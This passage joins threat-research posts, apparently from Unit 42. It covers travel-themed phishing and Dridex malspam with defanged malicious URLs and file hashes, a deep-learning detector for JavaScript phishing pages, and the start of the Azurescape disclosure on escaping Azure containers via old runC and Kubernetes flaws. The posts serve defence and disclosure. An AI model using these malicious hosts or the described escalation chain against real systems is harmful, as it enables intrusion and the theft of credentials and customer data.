  • hxxps://www.dropbox[.]com/s/myz2ytmvd08vfl4/Invoice%20%2392899.xls?dl=1
  • hxxps://www.dropbox[.]com/s/66j21yxz64fwfg2/Documentation%20644.xls?dl=1
  • hxxps://www.dropbox[.]com/s/81pphar6s4e93vz/Detailed%20079.xls?dl=1
  • hxxps://www.dropbox[.]com/s/yryqu9i368uib62/Report_%23_301.xls?dl=1
  • hxxps://www.dropbox[.]com/s/1ds4kb2limantm5/Notification_836524.xls?dl=1
  • hxxps://www.dropbox[.]com/s/yo9cy2y1su23ga1/Rep%20%23621.xls?dl=1
  • hxxps://www.dropbox[.]com/s/zakw3n6nvxqoyav/Subconract%20415.xls?dl=1
  • hxxps://www.dropbox[.]com/s/7vgj2bvv3vnd8dj/Note%20%2383008.xls?dl=1
  • hxxps://www.dropbox[.]com/s/l1bl35aybsvu8wl/Notification_71823.xls?dl=1
  • hxxps://www.dropbox[.]com/s/myoyguvb1qhrwsk/Reports_6633.xls?dl=1
  • hxxps://www.dropbox[.]com/s/4xecieojug0y28l/Information%20714353.xls?dl=1
  • hxxps://www.dropbox[.]com/s/glyefet40tkve8u/Contract%2030964.xls?dl=1
  • hxxps://www.dropbox[.]com/s/6f1amba84r7sf4a/Inv%204529.xls?dl=1
  • hxxps://www.dropbox[.]com/s/8y95urd2as2eeu8/Inv%20%23147.xls?dl=1
  • hxxps://www.dropbox[.]com/s/9wj6fcxxw29sfcp/Contract_724269.xls?dl=1
  • hxxps://www.dropbox[.]com/s/qu6npuiok79zpeo/Inv_225.xls?dl=1
  • hxxps://www.dropbox[.]com/s/ckihhm4uaxfi5hs/Report_18392.xls?dl=1
  • hxxps://www.dropbox[.]com/s/ryyogkwdvwof8rs/Scan%20108.xls?dl=1
  • hxxps://www.dropbox[.]com/s/5jgm0ktunwiby10/Subconract_848.xls?dl=1
  • hxxps://www.dropbox[.]com/s/luee4b7upuo2kak/Rep%20%23226186.xls?dl=1
  • hxxps://www.dropbox[.]com/s/c6rqxbq9ydl2sd1/Reports%20%2348406.xls?dl=1
  • hxxps://www.dropbox[.]com/s/4jczljfya09ye2o/Notification_30123.xls?dl=1
  • hxxps://www.dropbox[.]com/s/f62i6djdmb4qm6b/Subconract_1541.xls?dl=1
  • hxxps://www.dropbox[.]com/s/cvrhnc9h6e9ny1y/Contract_%23_599848.xls?dl=1
  • hxxps://www.dropbox[.]com/s/5nz7l5ftiu48irm/Fax%20740.xls?dl=1
  • hxxps://www.dropbox[.]com/s/atagwpkwhmpmvi4/Detailed_%23_670.xls?dl=1
  • hxxps://www.dropbox[.]com/s/v0hmuvpunssgon3/Note%202365.xls?dl=1
  • hxxps://www.dropbox[.]com/s/9779leob93657a9/Invoice_%23_76493.xls?dl=1
  • hxxps://www.dropbox[.]com/s/agx2xx6bbpetdh7/Copy_%23_824.xls?dl=1
  • hxxps://www.dropbox[.]com/s/l3d6i2x6f2ui9pk/Notice%200118.xls?dl=1

Once Dropbox was provided Palo Alto Networks threat intelligence, it immediately disabled sharing of those links and disabled the associated account to prevent further threat actor activity.

The URL hxxp://go7wallet[.]com/app/plugins/cordova-plugin-statusbar/src/browser/HLn3obcR1vMJZNt.php was also contacted as part of the campaign.

Technical Details About

soleravacation[.]net/wp-content/plugins/mojo-marketplace-wp-plugin-is-broke/inc/cli/mxq6awnfhnmadd2.php

In February and March 2021, there was a malspam campaign that comprised emails with Excel attachments to call soleravacation[.]net/wp-content/plugins/mojo-marketplace-wp-plugin-is-broke/inc/cli/mxq6awnfhnmadd2.php and subsequently download the malware DLL to install Dridex.

The SHA256 values associated with some of the samples identified by Unit 42 researchers are:

Hash Filename
0edda7d9dfd825e5e69c1ae55e26adf6e7ade746492f48bff0c0cbcf4c924b84 Attach 05680.xlsm
4dc9b2f11546e5bf8fb9901809a0707ff1e23acdc52742b991ddff18ce03733c Name unknown
bc30505fbd196a16346fc37c84ff8db3491fadc7c1b25e35b92954d570699eac Name unknown
bcaac658e2d7b0a51112b76f75ff678082300a12225ae9226274dbddd94a270c  Invoice 689160.xlsm
c5c34cf419acecfbdb8c63fd603f11cbcf6ef84453bfe27a975f2295acb68be2 Attach 689160.xlsm
e7cef58dba5c455b29b55d4d670449a69708ef17ed2866732177ea3e9fdbb69b Name unknown
ff5b57033bb5373fdebfe5efc84adcdd0bdddad382fa753b9c08483742401407 Name unknown

Of note for this particular campaign, the malicious spreadsheets try to connect to five or more URLs to retrieve Dridex, in addition to soleravacation[.]net/wp-content/plugins/mojo-marketplace-wp-plugin-is-broke/inc/cli/mxq6awnfhnmadd2.php.

Abuse of Firebase by Threat Actors

Threat actors have targeted multiple organizations within the travel industry and have used Firebase to host phishing pages to either target employees working in the travel industry or customers. Some of the organizations that have been targeted by Firebase-hosted web applications include an online marketplace for vacation rentals, upscale hotel chains, resort management companies and airline companies such as Tui.

As mentioned above, Firebase is backed by Google and supports developers of mobile or web applications, allowing them to store content in Google Cloud Storage. Unit 42 observed attackers taking advantage of the inherent legitimacy of the Google Firebase domain to deceive targets and to bypass security filters that block domains and files that are known to be malicious. Once Unit 42 notified Google, it immediately removed and blocked these phishing URLs to prevent further threat actor activity.

A sample of phishing URLs hosted on Firebase include:

URL Purpose
firebasestorage[.]googleapis[.]com/v0/b/owambe-4ce77.appspot.com/o/arsenaldozens/index%20copy%202.html?alt=media%26token=bbb56e5d-96d2-4da7-a82f-e0bfed8d24c3%26email=creader@palaceresorts.com Targeting employees working in the travel industry.
ehdewbml[.]firebaseapp[.]com/01iofurjdor.html#iuser=corp@tui.ru Targeting employees working in the travel industry.

How Attackers Use the Data Gathered Through Phishing

Cybercriminals often want to monetize any “data” that they acquire through attacks, and data gathered about travelers or organizations operating in the travel sector is no different. We have observed that threat actors monetize data by selling stolen account credentials, stolen customer data or stolen payment information.

During the pandemic, Unit 42 researchers noticed the supply for travel-themed services and products in underground markets drastically decreased (see Figure 5), possibly due to the global travel restrictions. However, we expect that both supply and demand will increase as the world reopens for travel.

Rates at which travel-themed products and services were found listed in underground marketplaces from October 2019-March 2021. (Data for later months is not available.)
Figure 5. Travel-themed products and services listed in underground marketplaces, October 2019-March 2021. (Data for later months not available.)

Stolen Account Credentials

There are two main reasons criminals are attracted by data sets containing stolen usernames, emails and passwords. First, they give criminals access to victims’ mileage or hotel points, which can easily be resold for profit. Second, the credentials can easily be used for compromising and taking over victims’ accounts on other platforms, if the same credentials were used. With all the potential financial gains from stolen login credentials, the strong demand in underground marketplaces encourages threat actors to actively acquire this data through social engineering, brute-forcing or exploiting vulnerable systems.

Stolen Customer Data

Organizations in the travel industry have access to a wealth of data, including personally identifiable information (PII), payment information and the contact information of customers. In the recent SITA passenger service system attack, 4.5 million global data subjects were compromised. While researchers attributed the attack to APT41, it was observed that financially motivated criminals also showed interest in this data.

There are three possible ways cybercriminals can abuse this type of data.

  1. Identity theft: Using stolen individual information collected from website A to create new accounts on website B. Because victims are not aware of these accounts on website B, they are less likely to be notified until later.
  2. Reconnaissance: Using the information for reconnaissance and setting the stage for spear phishing attacks.
  3. Resale of data: Data can easily be resold to other criminals, fraudsters or illicit marketing service providers for further abuse.

Stolen Payment Information

Cybercriminals have been offering a “shadow travel agency” service for years. They reach out to individual travelers through various social media or instant messaging platforms such as Telegram, providing flight bookings, hotel reservations, car rentals, car rides and sightseeing tours with heavily discounted prices. While travelers transfer clean money to the “shadow travel agency,” the “shadow travel agency” pays the actual service providers such as hotels or airlines with stolen payment information. Due to the time gap in payment processing, service providers only realize they have been defrauded when they see the disputed card transactions or chargebacks weeks or months later.

There are three groups of victims in this scenario. The first victim group is the payment information owners and stolen credit card holders. The second victim group is the travelers who were unknowingly a part of the money laundering process, giving cybercriminals opportunities to cash out the stolen payment information they previously collected. Travel industry organizations are considered the third victim group; they are the most impacted in this scheme. Not only did they fail to profit from the products and services they provided, but they also had to cover the costs and chargeback penalties, as well as addressing the reputational impacts of the crime.

How threat actors abuse stolen payment information, illustrated in a flowchart. Criminals collected stolen payment information through phishing or malware, and later monetize the data via their "shadow travel agency." This affects three groups of victims. Victim 1: Stolen payment information owners whose data were abused by criminals. Victim 2: Travelers who paid "shadow travel agency" - trips may be disrupted with no refund. Victim 3: Travel companies that provided actual services but paid fines and refunds due to fraud disputes filed by Victim 1.
Figure 6. Abuse of stolen payment information by threat actors.

Conclusion

The travel industry and international travelers have been long-term targets for cybercriminals, suffering financial and reputational damage. Threat actors not only sell fabricated information but also stolen information that they gather through phishing attacks. During the pandemic, we noticed that travel-themed products and services offered by cybercriminals in underground marketplaces decreased significantly, possibly due to low demand. However, as travel resumes, we expect travelers and the travel industry to be targeted again due to the high profitability associated with this data. Therefore, it is important to be aware of phishing campaigns.

Best practices to protect yourself and your organization from phishing attacks include:

For individuals:

  • Exercise caution when clicking on any links or attachments contained in suspicious emails, especially those relating to one’s account settings or personal information, or otherwise trying to convey a sense of urgency.
  • Verify the sender’s address for any suspicious emails in your inbox.
  • Double-check the URL and security certificate of each website before inputting your login credentials.
  • Report suspected phishing attempts.

For organizations:

  • Implement security awareness training to improve employees’ ability to identify fraudulent emails.
  • Regularly back up your organization’s data as a defense against ransomware attacks initiated via phishing emails.
  • Enforce multi-factor authentication on all business-related logins as an added layer of security.

Palo Alto Networks customers are protected by:

  • Advanced URL Filtering: Detects unknown, newly malicious URLs in milliseconds instead of minutes, preventing successful attacks.
  • WildFire: All known samples are identified as malware.
  • AutoFocus: Tracking related activity using the Dridex tag.

Additional Resources

Acknowledgements

Special thanks to Bradley Duncan, Lucas Hu, Zhanhao Chen and Bennett Woo for all the insightful data and experience sharing.

Indicators of Compromise

URLs

  • soleravacation[.]net/wp-content/plugins/mojo-marketplace-wp-plugin-is-broke/inc/cli/mxq6awnfhnmadd2.php
  • animalairlines[.]org/wp-content/plugins/wordpress-seo/inc/options/tk2xzwhphujenf.php
  • hxxp://go7wallet.com/app/plugins/cordova-plugin-statusbar/src/browser/HLn3obcR1vMJZNt.php
  • hxxps://www.dropbox[.]com/s/qmi112rc4ns75eb/Confidential_123.xls?dl=1
  • hxxps://www.dropbox[.]com/s/pfs4wf7a8mzxxkf/Notification%20%23591501.xls?dl=1
  • hxxps://www.dropbox[.]com/s/dz2b5ypqvoy7tpa/Reports%2078497.xls?dl=1
  • hxxps://www.dropbox[.]com/s/azswbhh7gmxouk2/Rep%20%231018.xls?dl=1
  • hxxps://www.dropbox[.]com/s/myz2ytmvd08vfl4/Invoice%20%2392899.xls?dl=1
  • hxxps://www.dropbox[.]com/s/66j21yxz64fwfg2/Documentation%20644.xls?dl=1
  • hxxps://www.dropbox[.]com/s/81pphar6s4e93vz/Detailed%20079.xls?dl=1
  • hxxps://www.dropbox[.]com/s/yryqu9i368uib62/Report_%23_301.xls?dl=1
  • hxxps://www.dropbox[.]com/s/1ds4kb2limantm5/Notification_836524.xls?dl=1
  • hxxps://www.dropbox[.]com/s/yo9cy2y1su23ga1/Rep%20%23621.xls?dl=1
  • hxxps://www.dropbox[.]com/s/zakw3n6nvxqoyav/Subconract%20415.xls?dl=1
  • hxxps://www.dropbox[.]com/s/7vgj2bvv3vnd8dj/Note%20%2383008.xls?dl=1
  • hxxps://www.dropbox[.]com/s/l1bl35aybsvu8wl/Notification_71823.xls?dl=1
  • hxxps://www.dropbox[.]com/s/myoyguvb1qhrwsk/Reports_6633.xls?dl=1
  • hxxps://www.dropbox[.]com/s/4xecieojug0y28l/Information%20714353.xls?dl=1
  • hxxps://www.dropbox[.]com/s/glyefet40tkve8u/Contract%2030964.xls?dl=1
  • hxxps://www.dropbox[.]com/s/6f1amba84r7sf4a/Inv%204529.xls?dl=1
  • hxxps://www.dropbox[.]com/s/8y95urd2as2eeu8/Inv%20%23147.xls?dl=1
  • hxxps://www.dropbox[.]com/s/9wj6fcxxw29sfcp/Contract_724269.xls?dl=1
  • hxxps://www.dropbox[.]com/s/qu6npuiok79zpeo/Inv_225.xls?dl=1
  • hxxps://www.dropbox[.]com/s/ckihhm4uaxfi5hs/Report_18392.xls?dl=1
  • hxxps://www.dropbox[.]com/s/ryyogkwdvwof8rs/Scan%20108.xls?dl=1
  • hxxps://www.dropbox[.]com/s/5jgm0ktunwiby10/Subconract_848.xls?dl=1
  • hxxps://www.dropbox[.]com/s/luee4b7upuo2kak/Rep%20%23226186.xls?dl=1
  • hxxps://www.dropbox[.]com/s/c6rqxbq9ydl2sd1/Reports%20%2348406.xls?dl=1
  • hxxps://www.dropbox[.]com/s/4jczljfya09ye2o/Notification_30123.xls?dl=1
  • hxxps://www.dropbox[.]com/s/f62i6djdmb4qm6b/Subconract_1541.xls?dl=1
  • hxxps://www.dropbox[.]com/s/cvrhnc9h6e9ny1y/Contract_%23_599848.xls?dl=1
  • hxxps://www.dropbox[.]com/s/5nz7l5ftiu48irm/Fax%20740.xls?dl=1
  • hxxps://www.dropbox[.]com/s/atagwpkwhmpmvi4/Detailed_%23_670.xls?dl=1
  • hxxps://www.dropbox[.]com/s/v0hmuvpunssgon3/Note%202365.xls?dl=1
  • hxxps://www.dropbox[.]com/s/9779leob93657a9/Invoice_%23_76493.xls?dl=1
  • hxxps://www.dropbox[.]com/s/agx2xx6bbpetdh7/Copy_%23_824.xls?dl=1
  • hxxps://www.dropbox[.]com/s/l3d6i2x6f2ui9pk/Notice%200118.xls?dl=1

SHA256 and Filenames

Hash Filename
2741a353c6d7bc69bf43aef709ead2d6f452e895561943b01ad5359561506092 Rep_598531.xls
5134f99242ea705442aaf857d43c4e689cd117a64fe103353be7f8ec5fd165f4 Name unknown
6846ae3db07fdc05aa310d157f9300bd7d26c33e5e81594dc89b70b47c73ee43 Name unknown
80d50ab8fe6f880270a2d8c3646a2272efed3f7a68140afacb72317a2e0c42c7   Note_7706.xls
b25edec6855cd5c3b74fa1a897d33978a227ccd039ac175c71521ec3655ebe10  Information_24837.xls
f3c837323c135a7d7ed9d03f856c81463abb80174211117f4bda193a55f1b78e  Notification_30123.xls
0edda7d9dfd825e5e69c1ae55e26adf6e7ade746492f48bff0c0cbcf4c924b84 Attach 05680.xlsm
4dc9b2f11546e5bf8fb9901809a0707ff1e23acdc52742b991ddff18ce03733c Name unknown
bc30505fbd196a16346fc37c84ff8db3491fadc7c1b25e35b92954d570699eac Name unknown
bcaac658e2d7b0a51112b76f75ff678082300a12225ae9226274dbddd94a270c  Invoice 689160.xlsm
c5c34cf419acecfbdb8c63fd603f11cbcf6ef84453bfe27a975f2295acb68be2 Attach 689160.xlsm

PhishingJS: A Deep Learning Model for JavaScript-Based Phishing Detection

Executive Summary

Many traditional phishing detection systems rely on the presence of login forms within the HTML of the webpage to classify pages as phishing. Client-side cloaking is an increasingly common technique that attackers use to evade phishing detection systems by requiring complex user interaction before revealing the webpage’s phishing content, or by using JavaScript to inject phishing content into the page only after the page renders in the user’s browser.

To combat these evasion techniques, we trained a deep learning model to detect phishing webpages based on the JavaScript content contained within the script tags of an HTML page. The model, dubbed PhishingJS, runs in the Palo Alto Networks cloud-delivered Advanced URL Filtering service. It currently detects an additional 15,000 phishing URLs per week on sophisticated JavaScript-based attacks that many existing phishing detection systems struggle to detect.

Palo Alto Networks customers with the Next-Generation Firewall and the Advanced URL Filtering security subscription are protected against the sophisticated types of phishing attacks discussed here.

Client-Side Cloaking

Many existing phishing detection systems rely on the presence of login forms, brand logos and similar signals within the HTML of a webpage to determine whether the page is a phishing page.

Client-side cloaking is an increasingly common evasion technique used by cybercriminals to evade these phishing detection systems. These attackers often use JavaScript to dynamically render phishing content (the same types of content often picked up by detection systems) on the client side, sometimes requiring user interaction before revealing any signs of attempted credential theft. Since the phishing content does not appear in the HTML document until after the page renders, these phishing pages can be difficult for traditional phishing detection engines to catch.

In Figures 1-2, we can see an example of a phishing webpage employing client-side cloaking techniques. This page claims that there has been some unusual activity on the user’s Apple ID account and that the user needs to process a refund related to the activity.

Upon first visiting the webpage, there is no phishing form immediately apparent. Only after the user clicks the “Confirm Refund Request” button is the credential-stealing form revealed. Since many crawler-based phishing detection systems cannot handle these sorts of interactions, these types of phishing pages can often pass undetected.

A phishing image employing client-side cloaking techniques. No phishing form is immediately apparent.
Figure 1. https://appleid[.]uber[.]space/LoginFailed.php?sslchannel=true&sessionid=VRqELCgYcqDhDQ2KGKMPYt4FcEX0XO7Kz1wi2xZyCCQiA5fz9smSqmoWfnsEn9znu4ixcl3RkVzwRW5f. A phishing page employing client-side cloaking techniques.
After clicking "Confirm Refund Request," the credential-stealing form is revealed.
Figure 2. Same URL as Figure 1, with the credential-stealing form revealed after clicking “Confirm Refund Request.”

After investigating the source code behind the page, we see that most of the page content does not exist directly within the main body of the HTML. Rather, there is a large script tag at the bottom of the HTML source that uses the document.write(...) API to inject the bulk of the page content into the HTML document; this happens only after the page is rendered in the browser.

Note that this script is also highly obfuscated, likely in an attempt to avoid phishing detection engines. The obfuscated code runs through AES decryption before being passed into the document.write(...) call.

After investigating the source code behind the page, we see that most of the page content does not exist directly within the main body of the HTML. Rather, there is a large script tag at the bottom of the HTML source, as shown. This is an example of the JavaScript-based phishing approach discussed here.
Figure 3. HTML source code for the page in Figures 1-2.

Sophisticated phishing pages like these may pose problems to traditional phishing detection engines. Therefore, we need to investigate additional machine learning (ML) techniques to classify pages like these as phishing.

How We Trained Our Model to Detect JavaScript-Based Phishing

We first created a training data collection pipeline to continuously gather phishing JavaScript samples from recent phishing URLs. We collected these samples from phishing URLs discovered from third-party sources and our phishing detection systems.

Once enough samples were collected, we trained a deep learning model on ~120,000 phishing and ~300,000 benign JavaScript samples. We validated the model in a staging environment before promoting it to production.

Traditional ML relies on subject matter experts to design a set of handcrafted features for the model to use as indicators of phishing or benign activity. On the other hand, our deep learning model iterates through the dataset to learn what patterns in the JavaScript code may indicate phishing (or otherwise suspicious) behavior. This ML-based pattern-matching makes the model more flexible than purely signature-based detection techniques, and also more robust to newer or lesser-known JavaScript-based phishing tactics that some researchers may not have seen before.

For each script tag, the model produces a score from 0 to 1, where 1 indicates high confidence in the script being related to some sort of phishing behavior, and 0 indicates high confidence in the script being benign. For example, highly obfuscated JavaScript code, or code that injects credential-stealing forms into the page, may cause the model to output a high phishing score. Benign JavaScript code will pass through the model without raising any red flags.

Once we have a phishing score from the model, we apply various thresholds to make our final verdict regarding whether to publish the given URL as phishing or not. The PhishingJS model contributes roughly 15,000 new phishing detections weekly, meaning that Palo Alto Networks customers – specifically those who subscribe to Advanced URL Filtering – will be protected from these sophisticated phishing attacks in the real world.

PhishingJS in the Real World

Here are some sample detections that our model has generated.

First, we can see that the model can detect phishing pages employing client-side cloaking, such as when the page requires the user to click a button before actually revealing the credential-stealing form. In Figures 4-5, we see an example of a phishing webpage impersonating a Dropbox login page. The user must first click a “Sign in with Gmail” or “Sign in with Outlook” button before being presented with a modal asking for their login information. This particular URL was detected as phishing with a score of 0.99998, meaning that the model was very confident in marking this page as phishing.

A phishing webpage impersonating a Dropbox login page. No credential-stealing forms are apparent until the user interacts with the page.
Figure 4. cooking4kor[.]ru/cvfd/?onstoreid=40uti89763. A phishing page employing client-side cloaking that our PhishingJS model detected.
After clicking either a "Sign in with Gmail" button or a "Sign in with Outlook" button, the user is presented with a modal asking for their login information.
Figure 5. cooking4kor[.]ru/cvfd/?onstoreid=40uti89763. After user interaction.
Next, we show that the model can also detect highly obfuscated JavaScript code responsible for generating phishing webpages. In Figure 6, we present a phishing webpage that is attempting to impersonate a SharePoint login site. This may look like a relatively straightforward phishing page upon first glance. However, upon inspecting the page’s source code, we see that the entire page is generated using a single JavaScript script tag. Similar to the example in Figure 3, this JavaScript snippet takes a highly obfuscated string, decodes it and then calls document.write(...) to inject the output into the webpage.

An example of JavaScript-based phishing. The entire page shown in the screenshot, impersonating a SharePoint login page, is generated using a single JavaScript script tag.
Figure 6. https://555305[.]selcdn[.]ru/564377/kc.htm#. A phishing webpage that uses JavaScript to dynamically render the content of the page.
Since the HTML of the page lacks any immediately apparent body text or input forms, this page might evade many traditional phishing detection engines. However, by analyzing the JavaScript snippet itself, our PhishingJS model detected this model as phishing with a high-confidence score of 1.00000.

A view of the HTML source code for the JavaScript-based phishing page in Figure 6.
Figure 7. HTML source code for the phishing page in Figure 6.

We find that the model is capable of detecting highly interactive scam pages as well. In Figures 8-10, we show a scam page claiming that the user has won a free Samsung Galaxy S2; all the user needs to do to claim the prize is share the page with five groups or 20 friends on WhatsApp.

This highly interactive scam page detected by our PhishingJS model claims that the user has won a free Samsung Galaxy S2.
Figure 8. http://coffeeshop[.]store/janjijiwa?t=1621831119257. A highly interactive scam page that was detected by our PhishingJS model.
Each time the user clicks the “Share” button, the page opens the user’s WhatsApp app and asks the user to share the page with another WhatsApp number. After each time the page is “shared,” the blue bar is incremented farther toward the right.

If the victim of the scam page shown follows the page's instructions to share it on WhatsApp, the blue bar shown on the page is incremented farther toward the right.
Figure 9. Same URL as Figure 8, after clicking the “Share” button.

Once the user has shared the page with the requisite number of friends, the user is prompted to complete the final registration step. Presumably, after clicking “Complete registration,” the user will be shown a form asking for some sensitive information so that the scammers can “ship the free phone” (which, to be clear, does not exist) to the user.

If the user completes all actions requested by the scam page, a congratulations page appears inviting the user to "complete registration." At that point, the scammers have the opportunity to collect sensitive information.
Figure 10. Same URL as Figure 8. After sharing the page with enough WhatsApp users, the user is prompted to “Complete registration.”

As seen in the figures above, this scam page requires very complex user interactions before explicitly revealing any credential-stealing forms. By analyzing the JavaScript of the page and using deep learning to look for suspicious patterns that may be indicative of phishing or credential-stealing activity, we can detect these pages as phishing and prevent our customers from falling prey to these sorts of attacks in the real world.

Conclusion

Traditional phishing detection engines can often struggle to detect the increasingly sophisticated phishing webpages that cybercriminals are now crafting. Specifically, they are often unable to detect instances of client-side cloaking, wherein the phishing page may require some user interaction before revealing the actual phishing content, or wait until the page is rendered in the browser before injecting phishing content into the HTML document.

By training a deep learning model to directly analyze the JavaScript contained within the webpage, we can catch these sophisticated JavaScript-based phishing attacks and prevent them from reaching our customers.

The Palo Alto Networks ML-powered Advanced URL Filtering service for the Next-Generation Firewall, which now has this JavaScript-based phishing detection capability, can help protect against these attacks.

Indicators of Compromise

hxxps://appleid[.]uber[.]space
cooking4kor[.]ru/cvfd/?onstoreid=40uti89763
hxxps://555305[.]selcdn[.]ru
hxxp://coffeeshop[.]store/janjijiwa

Additional Resources

Acknowledgments

The author would like to thank Wei Wang for helping to guide the PhishingJS project from start to finish; Wayne Xin and Jingwei Fan for helping to get the model into production; Brody Kutt for the original model architecture; and Seokkyung Chung, Yu Zhang, Zeyu You and Ziqi Dong for helping to review the model detections.

 

Finding Azurescape – Cross-Account Container Takeover in Azure Container Instances

Executive Summary

Azure Container Instances (ACI) is Azure's Container-as-a-Service (CaaS) offering, enabling customers to run containers on Azure without managing the underlying servers. Unit 42 researchers recently identified and disclosed critical security issues in ACI to Microsoft. A malicious Azure user could have exploited these issues to execute code on other users' containers, steal customer secrets and images deployed to the platform, and possibly abuse ACI's infrastructure for cryptomining. Researchers named the vulnerability Azurescape – the first cross-account container takeover in the public cloud.

Azurescape allowed malicious users to compromise the multitenant Kubernetes clusters hosting ACI, establishing full control over other users' containers. This post covers the research process, presents an analysis of the issue and suggests best practices for securing Kubernetes, with a focus on multitenancy, that could help prevent similar attacks.

Microsoft patched ACI shortly after our disclosure. Unit 42 has no knowledge of Azurescape exploited in the wild. As a precautionary measure, if you run containers on ACI, we recommend revoking any privileged credentials that were deployed to the platform before Aug. 31, 2021, and checking their access logs for irregularities.

For a high-level overview of Azurescape, please refer to our corporate blog, “What You Need to Know About Azurescape.”

Background on Azure Container Instances

Azure Container Instances (ACI) was released in July 2017 and was the first Container-as-a-Service (CaaS) offering by a major cloud provider. With ACI, customers can deploy containers to Azure without managing the underlying infrastructure. ACI takes care of scaling, request routing and scheduling, providing a serverless experience for containers.

Azure’s website described ACI by saying, "Develop apps fast without managing virtual machines or having to learn new tools – it's just your application, in a container, running in the cloud."

Internally, ACI is built on multitenant clusters that host customer containers. Originally those were Kubernetes clusters, but over the past year, Microsoft started hosting ACI on Service Fabric Clusters as well. The issues presented here affect ACI on Kubernetes, and the rest of the post will only reference that architecture. According to our tests, in which we deployed several thousand containers to the platform, at the time of disclosure Kubernetes hosted around 37% of newly created containers in ACI.

The diagram illustrates Azure Container Instances hosted on multitenant Kubernetes clusters, showing how an api-server on a master node relates to three worker nodes running for three different customers. Tenant boundaries are denoted with a dotted red line.
Figure 1. ACI hosted on multitenant Kubernetes clusters.

In multitenant environments like ACI, you need to enforce a strong boundary between tenants. In ACI, that boundary is the node virtual machine. Each customer container runs in a Kubernetes pod on a dedicated, single-tenant node. This Kubernetes multitenancy approach is often called node-per-tenant.

Azurescape Attack Scenario

ACI is built to defend against malicious neighbors. Since practically anyone can deploy a container to the platform, ACI must ensure that malicious containers cannot disrupt, leak information, execute code or otherwise affect other customers' containers. These are often called cross-account or cross-tenant attacks.

An illustration of a cross-account attack scenario in Azure Container Instances, showing how a malicious customer can occupy a worker node.
Figure 2. Cross-account attack scenario.

The following sections cover our research into cross-account attacks in ACI. We identified a cross-tenant attack through which a malicious Azure customer could escape their container, acquire a privileged Kubernetes service account token and take over the Kubernetes api-server, thus establishing complete control over the multitenant cluster and all customer containers running within it.

Escaping Our Container

CaaS offerings are notoriously hard to look into. Users are only exposed to their container environment, and access to the local network is disabled through firewalls. To better understand how CaaS platforms run our containers, we created WhoC. WhoC is a container image that reads the container runtime executing it. It's based on a rarely discussed design flaw in Linux containers allowing them to read the underlying host's container runtime. The idea is quite similar to the infamous CVE-2019-5736, except that instead of overwriting the host's runtime, you read it.

By deploying WhoC to ACI, we were able to retrieve the container runtime used in the platform. Unsurprisingly, we found runC, the industry standard container runtime. What caught us off guard was the version, as shown in Figure 3.

The screenshot shows Azure Container Instances running on runC v1.0.0-rc2, which was released on Oct. 1, 2016.
Figure 3. Container runtime used in ACI.

RunC v1.0.0-rc2 was released on Oct. 1, 2016, and was vulnerable to at least two container breakout CVEs. Back in 2019, we analyzed one of these vulnerabilities, CVE-2019-5736. Our blog post, “Breaking out of Docker via runC – Explaining CVE-2019-5736,” shared our analysis and a proof-of-concept (PoC) exploit for it.

Once we discovered the presence of this old version of runC in ACI, we took the PoC container image developed then, polished it and deployed it to ACI. We successfully broke out of our container and gained a reverse shell running as root on the underlying host, which turned out to be a Kubernetes node.

Once we discovered the presence of this old version of runC in ACI, we took the PoC container image developed then, polished it and deployed it to ACI. We successfully broke out of our container and gained a reverse shell running as root on the underlying host, which turned out to be a Kubernetes node. Here, we show a screenshot of the process of exploiting CVE-2019-5736 to escape our ACI container.
Figure 4. Exploiting CVE-2019-5736 to escape our ACI container.

While we escaped our container, we were still within the tenant boundary – the node VM. CaaS platforms are designed to withstand sophisticated attackers who possess kernel vulnerabilities enabling privilege escalation and container breakout. A malicious container breaking out is a somewhat expected threat, tolerated through node-level isolation.

The illustration shows how the tenant boundary protects against malicious customers. While we escaped our container, we were still within the tenant boundary – the node VM. CaaS platforms are designed to withstand sophisticated attackers who possess kernel vulnerabilities enabling privilege escalation and container breakout. A malicious container breaking out is a somewhat expected threat, tolerated through node-level isolation.
Figure 5. Out of the container, still inside our dedicated node.

Scouting the Node Environment

Looking around the node, we could verify our container was the only customer container. Using the Kubelet credentials, we listed the pods and nodes in the cluster. The cluster hosted around 100 customer pods and had about 120 nodes. Each customer was assigned a Kubernetes namespace where their pod ran; ours was caas-d98056cf86924d0fad1159XXXXXXXXXX.

We saw that the node's Kubelet allowed anonymous access, so we tried to access Kubelets on neighboring nodes. All attempted requests to access neighboring nodes timed out, probably due to a firewall configuration that prevented communication between worker nodes.

Nodes had a reference to the cluster name in a kubernetes.azure.com/cluster label, with the following format: CAAS-PROD-<LOCATION>-LINUX-<ID>.

Nodes had a reference to the cluster name in a kubernetes.azure.com/cluster label, with the following format: CAAS-PROD-<LOCATION>-LINUX-<ID>, as shown in the screenshot.
Figure 6. Cluster name.

We deployed a few breakout containers which landed on different Kubernetes clusters. Each cluster was found to have a unique cluster ID ranging between 1-125, indicating that each location (e.g. Western Europe) hosted a few dozen clusters.

Kubernetes 1-days

Next, we examined the cluster's Kubernetes version.

Azure Container Instances was hosted on clusters running either Kubernetes v1.8.4, v1.9.10 or v1.10.9, as shown here. These versions were released between November 2017 and October 2018 and are vulnerable to multiple publicly known vulnerabilities.
Figure 7. ACI Kubernetes version.

ACI was hosted on clusters running either Kubernetes v1.8.4, v1.9.10 or v1.10.9. These versions were released between November 2017 and October 2018 and are vulnerable to multiple publicly known vulnerabilities. Running older Kubernetes versions is considered bad practice, but it doesn't necessarily entail a security issue within ACI. If no past issues are exploitable from the context of a malicious node, then there's no security impact.

We started going over past Kubernetes issues, searching for ones that would allow our compromised node to escalate privileges or gain access to other nodes. We identified one that looked promising – CVE-2018-1002102.

Kubernetes CVE-2018-1002102

The api-server occasionally reaches out to Kubelets. For example, when servicing a kubectl exec <pod> <cmd> command, the api-server will defer the request to the appropriate Kubelet's /exec endpoint.

CVE-2018-1002102 marks a security issue in how the api-server communicated with Kubelets – it would accept redirects. By redirecting the api-server's requests to another node's Kubelet, a malicious Kubelet can spread in the cluster. Figure 8 shows the basic flow of the vulnerability:

The basic flow of CVE-2018-1002102: 1) command to be serviced by the api-server, 2) the api-server defers the request to the appropriate endpoint, 3) 302 redirect, 4) spreading through the cluster.
Figure 8. CVE-2018-1002102 flow.

The prerequisites for exploitation are:

  1. A vulnerable api-server version: ✓
  2. A compromised node: ✓
  3. A way to make the api-server contact the compromised node. For example, this can be accomplished by issuing a kubectl exec to a pod on the compromised node: ?

As it turns out, ACI also fulfilled the third prerequisite. ACI supports executing commands on uploaded containers via the az container exec command, which mirrors kubectl exec.

az container exec --name <my-container> --exec-command <command>

